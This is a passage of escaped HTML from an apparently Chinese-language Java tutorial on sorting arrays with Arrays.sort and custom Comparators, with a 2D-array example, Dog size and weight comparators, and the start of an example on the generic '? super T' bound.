class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e java.util.Arrays;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e java.util.Comparator;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title class_\"\u003eArraysSort\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(String[] args)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e[][] nums=\u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"title class_\"\u003eint\u003c/span\u003e[][]{{\u003cspan class=\"number\"\u003e1\u003c/span\u003e,\u003cspan class=\"number\"\u003e3\u003c/span\u003e},{\u003cspan class=\"number\"\u003e1\u003c/span\u003e,\u003cspan class=\"number\"\u003e2\u003c/span\u003e},{\u003cspan class=\"number\"\u003e4\u003c/span\u003e,\u003cspan class=\"number\"\u003e5\u003c/span\u003e},{\u003cspan class=\"number\"\u003e3\u003c/span\u003e,\u003cspan class=\"number\"\u003e7\u003c/span\u003e}};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e//方法一\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Arrays.sort(nums,\u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"title class_\"\u003eComparator\u003c/span\u003e\u0026lt;\u003cspan class=\"type\"\u003eint\u003c/span\u003e[]\u0026gt;(){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"meta\"\u003e@Override\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003ecompare\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e[] a,\u003cspan class=\"type\"\u003eint\u003c/span\u003e[] b)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(a[\u003cspan class=\"number\"\u003e1\u003c/span\u003e]==b[\u003cspan class=\"number\"\u003e1\u003c/span\u003e]){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e a[\u003cspan class=\"number\"\u003e0\u003c/span\u003e]-b[\u003cspan class=\"number\"\u003e0\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e a[\u003cspan class=\"number\"\u003e1\u003c/span\u003e]-b[\u003cspan class=\"number\"\u003e1\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e });\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e//方法二\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e/*Arrays.sort(nums,(a,b)-\u0026gt;a[1]-b[1]);*/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"type\"\u003eint\u003c/span\u003e[] num : nums) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e System.out.println(Arrays.toString(num));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 结果\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/*\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e[1, 2]\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e[1, 3]\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e[4, 5]\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e[3, 7]\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e*/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e其实这个方法最重要的还是\u003cstrong\u003e类对象的比较\u003c/strong\u003e。由于我们可以自定义比较器,所以我们可以使用策略模式,使得在运行时选择不同的算法。\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e java.util.Arrays;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e java.util.Comparator;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title class_\"\u003eDog\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e size;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e weight;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"title function_\"\u003eDog\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e s, \u003cspan class=\"type\"\u003eint\u003c/span\u003e w)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e size = s;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e weight = w;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title class_\"\u003eDogSizeComparator\u003c/span\u003e \u003cspan class=\"keyword\"\u003eimplements\u003c/span\u003e \u003cspan class=\"title class_\"\u003eComparator\u003c/span\u003e\u0026lt;Dog\u0026gt;{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"meta\"\u003e@Override\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003ecompare\u003c/span\u003e\u003cspan class=\"params\"\u003e(Dog o1, Dog o2)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e o1.size - o2.size;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title class_\"\u003eDogWeightComparator\u003c/span\u003e \u003cspan class=\"keyword\"\u003eimplements\u003c/span\u003e \u003cspan class=\"title class_\"\u003eComparator\u003c/span\u003e\u0026lt;Dog\u0026gt;{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"meta\"\u003e@Override\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003ecompare\u003c/span\u003e\u003cspan class=\"params\"\u003e(Dog o1, Dog o2)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e o1.weight - o2.weight;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title class_\"\u003eArraysSort\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(String[] args)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eDog\u003c/span\u003e \u003cspan class=\"variable\"\u003ed1\u003c/span\u003e \u003cspan class=\"operator\"\u003e=\u003c/span\u003e \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"title class_\"\u003eDog\u003c/span\u003e(\u003cspan class=\"number\"\u003e2\u003c/span\u003e, \u003cspan class=\"number\"\u003e50\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eDog\u003c/span\u003e \u003cspan class=\"variable\"\u003ed2\u003c/span\u003e \u003cspan class=\"operator\"\u003e=\u003c/span\u003e \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"title class_\"\u003eDog\u003c/span\u003e(\u003cspan class=\"number\"\u003e1\u003c/span\u003e, \u003cspan class=\"number\"\u003e30\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eDog\u003c/span\u003e \u003cspan class=\"variable\"\u003ed3\u003c/span\u003e \u003cspan class=\"operator\"\u003e=\u003c/span\u003e \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"title class_\"\u003eDog\u003c/span\u003e(\u003cspan class=\"number\"\u003e3\u003c/span\u003e, \u003cspan class=\"number\"\u003e40\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Dog[] dogArray = {d1, d2, d3};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e printDogs(dogArray);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Arrays.sort(dogArray, \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"title class_\"\u003eDogSizeComparator\u003c/span\u003e());\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e printDogs(dogArray);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Arrays.sort(dogArray, \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"title class_\"\u003eDogWeightComparator\u003c/span\u003e());\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e printDogs(dogArray);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003eprintDogs\u003c/span\u003e\u003cspan class=\"params\"\u003e(Dog[] dogs)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e(Dog d: dogs)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e System.out.print(\u003cspan class=\"string\"\u003e\u0026#34;size=\u0026#34;\u003c/span\u003e+d.size + \u003cspan class=\"string\"\u003e\u0026#34; weight=\u0026#34;\u003c/span\u003e + d.weight + \u003cspan class=\"string\"\u003e\u0026#34; \u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e System.out.println();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 结果\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/*\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003esize=2 weight=50 size=1 weight=30 size=3 weight=40 \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003esize=1 weight=30 size=2 weight=50 size=3 weight=40 \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003esize=1 weight=30 size=3 weight=40 size=2 weight=50 \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e*/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e那么在参数中会出现super呢?这意味着这类型\u003cstrong\u003e可以是T或者它的父类型\u003c/strong\u003e。这就使得该方法可以允许所有子类使用相同的比较器。详细见代码:\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e64\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e65\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e66\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e java.util.Arrays;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e java.util.Comparator;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title class_\"\u003eAnimal\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e 